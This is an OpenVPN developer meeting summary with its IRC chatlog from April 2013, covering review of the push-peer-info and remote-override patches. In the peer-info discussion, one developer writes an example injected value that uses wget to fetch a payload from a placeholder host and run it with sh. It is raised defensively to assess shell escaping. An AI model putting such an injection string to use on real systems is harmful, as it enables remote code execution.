Hi, Here's the summary of the previous IRC meeting.
--- COMMUNITY MEETING Place: #openvpn-devel on irc.freenode.net List-Post: openvpn-devel@lists.sourceforge.net Date: Thursday 25th Apr 2013 Time: 18:00 UTC Planned meeting topics for this meeting were on this page: <https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25> Next meeting is scheduled for Thursday 2nd May at 18:00 UTC. Your local meeting time is easy to check from services such as <http://www.timeanddate.com/worldclock> or with $ date -u SUMMARY cron2, dazo, jamesyonan, krzee, mattock and novaflash participated in this meeting. -- Discussed the "Make push-peer-info visible in "normal" per-instance environment" patch: <http://thread.gmane.org/gmane.network.openvpn.devel/7541> This patch had some known issues: cron2 will make an amended version and send it for review. -- Discussed the seemingly innocent "Added remote-override option" patch: <http://thread.gmane.org/gmane.network.openvpn.devel/7527/focus=7526> This patch is designed to allow client UI to provide user-selectable remote host. Technically it works as follows: If "--remote-override <remote>" is defined on the client command-line, the IP-addresses of all remotes in the config file are replaced with the value of <remote>. Neither port nor protocol definitions are touched, and OpenVPN will still try to loop through all the remote entries in the config file until it finds one that works. Therefore this option will only work if there are several identically configured OpenVPN server instances using different protocols and ports running on the same host. It was agreed that while the basic functionality this patch provides is useful - especially for VPN providers - the patch was not ACKed yet. Concerns were raised over the fact that behavior could differ depending on when remote-override was defined in the configuration file and/or command-line. This would probably result in more support requests, even if correct use of the option was documented. Also, cleaner implementation of this patch would be significantly more complex. In the end, it was agreed to "postpone, have a good night's sleep and reconsider". For all the gory details, please look at the attached chatlog. --- Full chatlog as an attachment -- Samuli Seppänen Community Manager OpenVPN Technologies, Inc irc freenode net: mattock
(20:59:15) mattock: almost meeting time (20:59:26) mattock: jamesyonan should get here,too (20:59:45) cron2: plaisthos: regarding 3/5, I'd actually like to see these functions named "man_read_fd()" and "man_write_fd()", to be more in line with the regular "management only" stuff. Or "man_send_fd()" and "man_recv_with_fd()", given that the regular code uses recv()/send()... (20:59:53) cron2: but that's bikeshedding, the code itself looks good (21:03:26) jamesyonan [~jamesy...@c-24-9-78-222.hsd1.co.comcast.net] è entrato nella stanza. (21:03:26) modalità (+o jamesyonan) da ChanServ (21:04:22) cron2: hi james (21:05:16) mattock: hi jamesyonan (21:05:25) jamesyonan: hi (21:05:32) mattock: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 (21:05:33) vpnHelper: Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) (21:05:37) mattock: we got tons of patches (21:06:22) mattock: start from the top, or? (21:06:41) mattock: oh, who's here, besides me, cron2 and jamesyonan? (21:06:46) mattock: dazo? (21:06:53) mattock: plaisthos I assume (21:07:10) cron2: plaisthos was here all day but didn't say anything for the last 4 hours... (21:07:38) mattock: ok, then it's probably a good idea to review the SVN patches first (21:07:56) mattock: then again, a non-subjective third-party would be nice to have :D (21:08:02) mattock: you're both tainted :P (21:08:04) cron2: indeed :) (21:08:29) cron2: mattock: did you do any actual tests with the windows binary with snappy in it? (21:08:44) mattock: depends on your definition of a test (21:08:53) cron2: "move data to an openvpn server" (21:08:58) mattock: no, not yet (21:09:20) mattock: I haven't yet tested my latest build, which might have statically linked libstd++ and libgcc in it (21:09:23) mattock: not sure (21:09:30) cron2: ic (21:10:18) mattock: anyways, snappy support is definitely baked into the openvpn binary, as the first working build started complaining right away about missing libstdc++ DLL (21:10:25) mattock: and --version showed enable_snappy=yes (21:10:49) mattock: so I think it's only missing the static libraries (21:11:00) mattock: anyways, I need to do more testing on that (21:11:10) mattock: so perhaps we should review plaisthos' patches instead? (21:12:11) cron2: without plaisthos, this is sort of moot as well... I did some review already, and have a list of things that I want to remark... (21:12:29) mattock: ugh (21:12:40) cron2: so what remains is the "remove unused variables" patch (which is sort of trivial) and the "make push-peer-info visible". (21:13:04) mattock: http://thread.gmane.org/gmane.network.openvpn.devel/7541 (21:13:07) vpnHelper: Title: Gmane Loom (at thread.gmane.org) (21:13:20) mattock: jamesyonan: any thoughts on this one? (21:13:21) cron2: jamesyonan: I think you're the only one qualified to look at that one anyway :-) - (21:14:20) mattock: cron2: I assume plaisthos' patches on the agenda page don't include any of the socket.c stuff I've been hearing about? (21:14:44) cron2: mattock: no, those are only the android platform patches, the socket stuff is separate (another 10 patches) (21:15:02) mattock: ok, we need to get more people here the next time (21:15:26) mattock: andj is on holiday atm, not sure about next week (21:16:42) jamesyonan: looking at push-peer-info patch... (21:17:12) jamesyonan: so the goal here is to move the peer info strings into environment? (21:17:41) cron2: "make it visible to client-connect and plugins", yes (21:18:07) jamesyonan: how to prevent data from being sent twice on management interface? (21:18:09) cron2: so openvpn 2.x can benefit from the info like "ah, this is an IOS client" (21:18:09) ***dazo is here! (21:18:47) mattock: dazo, excellent! (21:18:57) mattock: we were missing you and everyone else! (21:19:12) mattock: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 (21:19:13) vpnHelper: Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) (21:19:14) dazo: sorry, got distracted (21:19:18) cron2: jamesyonan: right now it's sent twice because the "old path" is still there (via man_output_peer_info_env(), which "fakes" environment variables) (21:19:21) mattock: np (21:19:24) ***dazo catches up on cron2's push-peer patch (21:19:59) cron2: jamesyonan: this bit could, if I understand this all correctly, just go (#if 0), as the environment is sent anyway, and the old function sends the data in exactly the same format as if it were "environment" (21:20:29) cron2: the order of peer_info strings is reversed, though (21:20:48) jamesyonan: why is that? (21:21:23) cron2: I think the environment is sent unsorted in the way it's stored, and "more recent additions" are appended to the front of the list (21:22:06) dazo: cron2: have you thought about avoiding shell escaping from the variable names or contents? (21:22:28) jamesyonan: that's probably okay, I don't think there is any order sensitivity with those parms (21:23:15) cron2: dazo: validate_peer_info_line() will only permit alphanumerics+"_" in the name of the variable, and only printables in the content (21:23:51) dazo: I presume $, (, ) and ` considered printable characters ... right? (21:23:51) cron2: so the names are safe, while theoretically someone could do funky stuff with quote characters or whitespace in the content of the variables (21:23:57) cron2: yes (21:24:47) cron2: jamesyonan: I'll do a v2 of the patch, with the "old code path" removed and test it against AS - the snappy stuff should exhibit any surprising mis-parsing just fine (21:25:00) dazo: so .... IV_PLATFORM=$(wget -o /tmp/dirty-hack url.to.payload; sh /tmp/dirty-hack) .... that could cause some fun issues? (21:25:14) jamesyonan: cron2: sounds good (21:25:20) cron2: jamesyonan: what v1 is mostly about is to get a sanity check for "is this the way forward?" (21:25:36) cron2: dazo: unless someone is stupid enough to do "eval $IV_PLATFORM", this should just be content (21:25:54) cron2: blanks are more interesting if you call 'somecomand $IV_PLATFORM' without "" around (21:26:03) dazo: oh true (21:26:27) mattock: ok, now that we have an extra brain here, could we review some of the other patches? (21:26:33) mattock: maybe the SVN stuff? (21:26:40) dazo: I think it would make sense though to strip $ and ` from the values, just to be on the safe side (21:26:49) dazo: or at least escape them in a safe way (21:26:55) krzee: extra brains? /me gets the zombies (21:26:55) cron2: dazo: as I said, you'd need to eval that stuff for it to be dangerous (21:27:09) dazo: cron2: well, we have stupid users who don't think (21:27:16) dazo: and we'll get the blame in the end (21:27:40) mattock: krzee: you just got to the attendee list (21:27:54) krzee: yay, i contributed a zombie joke! (21:27:58) mattock: yep (21:28:07) mattock: you can put to your CV :P (21:28:37) mattock: ok, done with this patch? (21:28:49) cron2: jamesyonan: do you see the need to accept more than "isalnum" + "." + "_" + ":" (mac) + "/" (could be part of the version with the git-version patch) for the IV_ and UV_ variables? (21:29:09) cron2: mattock: always the impatient :-) - we're not yet done with my homework (21:29:14) jamesyonan: cron2: sure I think it makes sense, as long as we don't break AS or introduce new vectors of nastiness via maliciously crafted strings (21:29:32) cron2: current variables are all only "1" or "1.0" or "just strings" (ios, android, ...) (21:30:03) mattock: cron2: you never know if people are thinking or sleeping :P (21:30:04) cron2: jamesyonan: ok, that was the intention (which is why I reject everything that is not IV_ or UV_ - the client would not normally send that, but a hacked client could just send PATH= or such...) (21:30:14) cron2: anyway, I know how to move forward, thanks (21:30:17) cron2: v2 soon (21:30:25) cron2: mattock: *now* we can proceed :-) (21:30:37) mattock: excellent! (21:30:45) mattock: dazo: ready for some fun from SVN? (21:30:58) jamesyonan: mattock -- add multitasking to sleeping and thinking (21:31:00) mattock: cron2 and jamesyonan are a bit tainted when it comes to ACKing these patches (21:31:15) dazo: mattock: svn ... oh dear (21:31:20) krzee: svn lives in 2013! (21:31:21) dazo: :) (21:31:23) cron2: it's not that bad (21:31:26) mattock: well, there's no trace of SVN in the patches themselves (21:31:41) mattock: [PATCH 1/5] Added remote-override option (21:31:56) cron2: that's easy, plaisthos already acked it on the list :) (21:32:10) mattock: you mean "I am not sure I like these remote-override but the patch is small enough to include it if OpenVPN AS really needs it." (21:32:12) mattock: ? (21:32:18) cron2: I count this as an ACK (21:32:59) mattock: dazo? (21:33:09) ***dazo still looks (21:33:27) dazo: trying to get the context of remote-override .... I feel it makes sense in some scenarios (21:34:07) cron2: "I have lots of <remote> in my config and want to test with a different server now", this is what plaisthos explained to me (it's in the openvpn 3 code as well) (21:34:29) dazo: Ahh, this is somewhat related to the remote-override possibility via the management interface, isn't it? (21:35:05) dazo: commit 54561af63699e7408fba11c75bbf9e22ed6216dc (21:36:21) mattock: (I'll multitask and test the latest openvpn windows build now) (21:36:29) dazo: the patch is small enough to slip through ... I just don't really understand the real use case for it .... when looking at the management API, it makes sense there ... but I don't see how this would make sense in the option parser (21:36:38) jamesyonan: remote-override is designed to allow client UI to provide user-selectable remote host (21:37:03) dazo: jamesyonan: but that's from the management interface, isn't it? why is it needed in the option parser? (21:37:20) dazo: or was commit 54561af63699e74 not complete without this last patch? (21:38:11) jamesyonan: because the client UI might instantiate the openvpn binary with --config foo --remote-override user-selected-remote.tld (21:39:08) mattock: I have a quick(?) static linking question at some appropriate time, still not libstdc++ or libgcc in the build (21:39:29) dazo: jamesyonan: okay ... but if the client just did: --config foo --remote user-selected-remote.tld ... wouldn't that work too? (21:41:29) mattock: is there no man-page entry for --remote-override? (21:41:33) mattock: can't find any (21:41:45) mattock: in my patched "master" (21:41:53) cron2: ack, no man page entry in svn (21:42:02) dazo: mattock: it's a new option ... so it should be in the patch (21:42:13) jamesyonan: dazo: but that would just add the user-selected host to the existing remote list (21:44:25) mattock: jamesyonan: so if there were remotes in the config file, anything passed with --remote would be at the end? (21:44:47) mattock: and --remote-override would make OpenVPN disregard any remotes in the config? (21:45:09) jamesyonan: basically yes (21:45:15) dazo: jamesyonan: ahh, true .... but what happens then if you have --remote serverA --remote serverB --remote-override serverOVERRIDE .... would that really override the two first remotes? (21:45:31) dazo: + re.remote = options->remote_override ? options->remote_override : p[1]; (21:45:42) cron2: dazo: yes, it would (21:46:26) jamesyonan: the goal is to provide a reasonable way for users to control which server they are hitting (21:47:00) ecrist: don't they already have that, based on order? (21:47:06) mattock: for VPN services this is very useful (21:47:22) mattock: afaics (21:47:24) dazo: agreed ... I just don't see how this override really functions in regards to connection profiles (21:48:09) jamesyonan: the AS clients can be configured to show a drop-down list of different regions to connect to, which leverages on this feature (21:48:42) dazo: I don't question the feature itself ... I see the feature as useful in some cases ... I'm wondering about the implementation currently (21:49:01) mattock: jamesyonan: what about connection profiles dazo mentioned earlier? (21:49:08) mattock: what will --remote-override do with them? (21:49:27) mattock: (btw. I can provide a man-page patch for this one, should be straightforward) (21:49:54) dazo: how I understand the code ... with connection profiles, this won't function unless --remote-override is used before --config (21:50:04) cron2: it will override whatevever string is behind a "remote" statement in position 1 (21:50:12) cron2: inside or outside of a <connection> block (21:50:14) cron2: dazo: why not? (21:50:32) cron2: ah (21:50:36) dazo: cron2: because you have struct remote_entry *re ... which is later on appended via connection_entry_load_re (&options->ce, &re); (21:50:48) cron2: you *always* have to call --remote-override before --config, it won't work if called afterwards (21:50:56) cron2: it's re-writing "connect" statements as they are read (21:51:05) dazo: so if you have done --remote serverA --remote-override serverC --remote serverB .... only the last one will be overridden, afaics (21:51:06) jamesyonan: if connection profiles exist, then you would essentially be replacing all of the remote options in the profile with the overrided remote (21:51:22) cron2: dazo: true, I was mis-reading your example above. (21:51:43) cron2: if it's in the middle of the config, it will affect "everything from that point on" (21:52:34) dazo: which means: --config foo --remote-override serverOVERRIDE won't work as expected .... as we can presume --config contains a remote (21:52:46) jamesyonan: yes but the intent is that the client UI would place the --remote-override on the command line before --config (21:53:12) dazo: exactly ... which means --remote serverOVERRIDE --config foo .... would have the same effect, right? (21:54:37) cron2: no, that would just add another profile to the start, and if connecting there fails, it would try the rest (21:54:55) dazo: but ... that would happen too with the --remote-override patch (21:55:15) cron2: no, remote-override will override *all* remotes in there, not just "add one to the head of the list" (21:55:22) dazo: ahh, right! (21:57:16) dazo: can I suggest that we improve this patch a bit? That --remote-override is really an override ... that if defined, it will only use the first connection profile and stop trying others .... as if you have --remote-override serverOVERRIDE --remote serverA 1194 --remote serverB 5000 .... the result would be openvpn would try first serverOVERRIDE on port 1194, and then port 500 (21:57:49) dazo: 0 (21:58:17) mattock: sounds good, if that can be done fairly non-intrusively (21:59:18) ***cron2 leaves that bit to james and dazo to sort out "I'm not writing user interfaces and I'm not exporting profiles" (21:59:55) mattock: jamesyonan: was there a particular reason why --remote-override was implemented this way, instead of the way dazo suggested above? (22:01:05) jamesyonan: but that would break adaptive UDP then TCP connection strategies (22:01:54) dazo: ahh, right ... didn't think about that (22:02:35) mattock: accept this patch as is with it's flaws, but add docs to man-page? (22:04:32) dazo: I understand there's a need for this feature ... but its semantic is a bit unclear to me .... man-page documentation is needed, but I think I'd like to see this code getting further improvements (22:05:07) mattock: do we have any way to implement this feature without things getting nasty? (22:05:08) dazo: (we have quite a lot of options, several with similar unclear behaviours in specific configurations) (22:06:19) mattock: we don't need to force this patch to Git... the Access Server / OpenVPN Connect will probably have to use a separate Git tree based on 2.3.x anyways (22:06:20) dazo: I think you need a more complex solution to fix this better (22:06:22) mattock: atm (22:06:38) mattock: that was what I thought (22:08:35) mattock: ACK with documentation, or postpone (i.e. NACK)? (22:09:13) jamesyonan: yes, but patch as-is is very simple and accomplishes goal of allowing user to select remote -- not clear to me that it needs to be complexified (22:10:05) mattock: so I guess this is all tied to the option parser rewrite, essentially? (22:10:16) dazo: jamesyonan: based on experiences from #openvpn .... people will definitely misunderstand this feature ... they will have more servers configured, to handle both TCP and UDP and on different ports (22:10:34) cron2: dazo: this might be a reason why the option is undocumented (22:10:44) mattock: cron2: hmm, good point (22:10:50) dazo: jamesyonan: and then someone will try to use --remote-override ... and be surprised that the remote server gets connection attempts on all TCP/UDP ports not configured on that server (22:10:55) mattock: maybe ACK as-is, and take care _not_ to document this :D (22:11:18) dazo: mattock: that's bloating the code, tbh (22:11:33) jamesyonan: right, the feature requires that you set up your servers in different regions to listen on same ports (22:11:33) mattock: hence the smiley (22:12:07) dazo: As I said ... the feature itself is a good feature .... it's the semantics behind the behaviour which needs to be clear (22:13:14) mattock: I'd say let's NACK this for now (22:13:34) mattock: the patch can be included in AS/OpenVPN Connect (22:13:44) mattock: unless this patch is required by some of the later patches? (22:13:52) cron2: no, it's independent of anything else (22:13:56) mattock: ok, good (22:14:28) cron2: but we shouldn't go there if we can avoid it "having private patches to the openvpn code base inside as/connect" (22:14:46) dazo: f.ex ... could we say that --remote-override requires 2 or three args? --remote-override <server> <port> [tcp/udp] .... if two args are used, remote-override takes care of the port number ... and if proto is declared, even that would be overridden ... then you would have a clearer semantic (22:14:57) dazo: cron2++ (22:15:50) dazo: I would strongly argue against just --remote-override <server> .... as that gives an unclear use case (22:17:17) mattock: so that would solve most of the issues? (22:17:35) mattock: without extensive changes (22:17:50) dazo: dont' bother about extensive changes ... a change is a change ;-) (22:18:01) jamesyonan: i believe there's already a separate mechanism for protocol (tcp/udp) override (22:18:46) mattock: dazo: I fear somebody will start implementing this cleanly, and then, half-way through rewriting the config parser gives up :P (22:19:10) dazo: mattock: nah, that won't be needed :) (22:19:22) jamesyonan: and port override is rare -- never actually seen a use case (22:19:30) mattock: ok, good, then I don't mind clean implementation (22:19:55) mattock: jamesyonan: so what about removing the port override feature and replacing it with what was proposed above? (22:20:09) mattock: ah, sorry, it was protocol override (22:21:01) jamesyonan: well the AS client already implements proto override -- so the user can choose TCP, UDP or Adaptive from the UI (22:21:28) jamesyonan: need to look at how this actually passed to openvpn binary (22:21:50) cron2: --proto_force (22:22:06) dazo: I'm just wondering ... wouldn't it be cleaner if the UI provided the --remote lines directly ... and the config file itself didn't contain any --remote lines at all? (22:22:51) jamesyonan: looks like it's using --proto-force option (22:22:59) cron2: --proto-force tcp/udp will disable all connection entries that "mismatch" (22:23:46) mattock: so it's not exactly the same as --remote-override server port protocol (22:24:12) mattock: which would be precise and understandable I think (22:24:47) dazo: --proto-force has a clear semantic (22:24:53) cron2: yes. --remote-override will keep all connection entries, just changing the server. --proto-force will ignore some connection entries, if the proto does not match. But the use cases are different, so I can see why it is so (22:27:44) mattock: and what to do? (22:28:16) mattock: looked like such an innocent patch :P (22:29:21) jamesyonan: we can document that --remote-override only works for identically configured servers (22:30:29) dazo: I have a (not fully tested) proposal in the pipe .... just a sec (22:32:39) dazo: http://www.fpaste.org/N0C4/ (22:33:12) cron2: so where's the documentation for that? (22:33:33) dazo: I'll add that if it's accepted before sending it to the ML (22:33:44) dazo: the syntax here is --remote-override <server> <port> (22:33:56) dazo: except of that, it should be identical (22:34:15) cron2: I'm not sure there is a use case for overriding the port, and I hear that the main objection to the patch under discussion is "it's not clear what it does, as the documentation is missing" (22:35:02) dazo: cron2: for users (which do exist) who uses --remote serverA 1194 --remote serverB 5000 .... --remote-override will not function at all (22:35:18) cron2: with your patch, it would *always* override the port, which is very much not wanted and not useful if you have "remote foo 1194 udp", "remote foo 443 tcp" and just want to override the "foo" (22:35:44) dazo: and that's why I asked this: I'm just wondering ... wouldn't it be cleaner if the UI provided the --remote lines directly ... and the config file itself didn't contain any --remote lines at all? (22:35:57) mattock: jamesyonan? ^ (22:35:59) cron2: that's not how AS and the various clients work today (22:36:03) jamesyonan: I don't think overriding the port makes sense because many people will be using different TCP and UDP ports (22:36:25) jamesyonan: but how would the UI know what the choices are for remote? (22:36:47) dazo: well, how would it know when to use --remote-override? (22:36:56) dazo: and which server to use in that case? (22:36:58) jamesyonan: in most cases, users are not going to need to know the remote server info (22:37:43) dazo: but the AS UI obviously gives the user some options here .... (22:37:46) jamesyonan: this is for the use case where a customer wants to have a drop-down list showing different regions to connect to (22:38:03) mattock: I think we're dealing with two use-cases here, and james' patch fits one (22:38:11) mattock: and dazo's patch fits the other (22:38:45) mattock: can these be combined into one? (22:38:57) dazo: yeah ... and this kind of more complex "choose this server now" scenario isn't really what the option parser is built for (22:39:36) cron2: well, you could do "the port of the remote-override is optional and only overriden if explicitely set", but that makes the code even more complex here, with no defined use case yet (22:40:37) cron2: I can understand the "vpn provider" use case, which ships a .ovpn profile and has a UI setting for "europe / america / asia" which would then override to $region.myprovider.net, using the same list of tcp/443, udp/1194, ... that the .ovpn exported from the server has (22:40:45) mattock: back to "accept the original patch, but document how it works", i.e. only on identically configured servers (22:41:23) dazo: mattock: I can guarantee you that we will get bug tickets on this feature ... even with docs (22:41:41) dazo: I've already closed several tickets where things *are* documented (22:43:35) mattock: so a summary: (22:43:35) mattock: - accepting as-is with docs will confuse users -> bug reports, help requests (22:43:35) mattock: - implementing this cleanly would require an entirely new patch, which would be more complex (22:43:35) mattock: - this could be an additional patch just for the Access Server/OpenVPN Connect (22:44:16) jamesyonan: It makes things a lot simpler if the AS can use an unpatched branch (22:44:16) mattock: I don't think there's necessarily anything wrong with (semi-)private patches, as long as they are kept in sync with Git "master" / 2.3.x (22:44:46) cron2: this "keeping in sync" will be hard as you'll have conflicts if something else is changed nearby (22:44:57) cron2: or something big like a "whitespace cleanup" happens (22:45:03) cron2: let's avoid private patches if possible (22:45:11) jamesyonan: I would rather leave it as undocumented than start a new fork for AS (22:45:44) dazo: and then JJK looks at the code when doing an update of his "OpenVPN Cookbook" .... and document it for us there ;-) (22:45:51) mattock: lol (22:46:05) mattock: I'm sure somebody will notice it and document it eventually (22:46:08) dazo: (like he did with using 'config' inside config files as an 'include' feature) (22:47:10) mattock: I'm leaning towards "postpone, have a good night's sleep and reconsider" :P (22:47:25) dazo: probably makes sense now :) (22:47:50) mattock: one patch, ~80 mins... too much I think (22:48:00) cron2: *sigh*. I wish people would start considering the patches when they appear on the list, not when meeting... (22:48:08) mattock: cron2: +1 (22:48:25) mattock: but that's not how it goes :P (22:48:46) dazo: well, _now_ is the time I had available for openvpn hacking .... (22:48:58) mattock: let call this a day... it's getting late (22:49:03) cron2: (*and* this was a very classic bikeshed :-) - for those who don't know, klick to http://red.bikeshed.com/ - use any colour of your choice instead of "red") (22:49:04) vpnHelper: Title: Why Should I Care What Color the Bikeshed Is? (at red.bikeshed.com) (22:49:17) cron2: mattock: you're impatient and pushy today, are you :-) - so how's your windows tests? (22:49:23) mattock: blue? (22:49:29) mattock: I'm tired, 22:49 here (22:49:42) mattock: impatient, yes, pushy, maybe :P (22:50:05) mattock: windows tests: failed, no statically linked libraries, C and Automake-fu too low (22:50:15) cron2: meh (22:51:00) cron2: anyway. I got feedback on the peer-info patch, which is valuable, and I spent the time reviewing plaisthos's stuff, which he won't like when he looks into his mailbox :-) (22:51:12) novaflash: jamesyonan: thanks for the info on AS profiling mode :) (22:51:25) cron2: maybe one of you could actually give me an info about plaisthos' patch 1/5 (22:51:40) mattock: novaflash: you got into the community meeting summary (22:51:50) novaflash: oh sh (22:51:51) novaflash: opping (22:51:51) cron2: he's removing the "script-security" warnings. Is this something you agreed on here on IRC before? (22:53:08) dazo: No, I don't think we agreed on such an approach ... but we did at some point talk about a "mute-warning" flag ... where you could select warnings to be ignored ... as many of the warnings are useful if you're not aware of it (22:53:44) novaflash: i figure it makes sense to only issue that warning regarding script security is there is actually a script being specified. otherwise why need the warning? just my 2 zimbabwean dollar cents (22:53:46) dazo: but that was agest ago (22:53:52) novaflash: if* (22:54:24) cron2: ok, I'll catch plaisthos tomorrow and figure that one out (22:54:47) cron2: then - good night folks (22:54:55) dazo: g'night! (22:54:56) mattock: excellent, more patches next week! (22:55:13) mattock: unless people review them on the ml first :P (22:55:16) cron2: yeah, there will be more patches to review, next week :-) - there's a number of open trac tickets that need patching... (22:55:37) mattock: yes, I'm reviewing the tickets myself whenever I got some time to spare (22:55:46) mattock: I'll continue with openvpn-build tomorrow (22:56:05) mattock: + snappy (22:56:27) mattock: summary coming up also, I'll mention that I was being impatient and pushy :P (22:56:30) mattock: apologies (22:56:38) mattock: :D (22:56:49) mattock: -> taking the cat out (22:56:57) mattock: bye all!
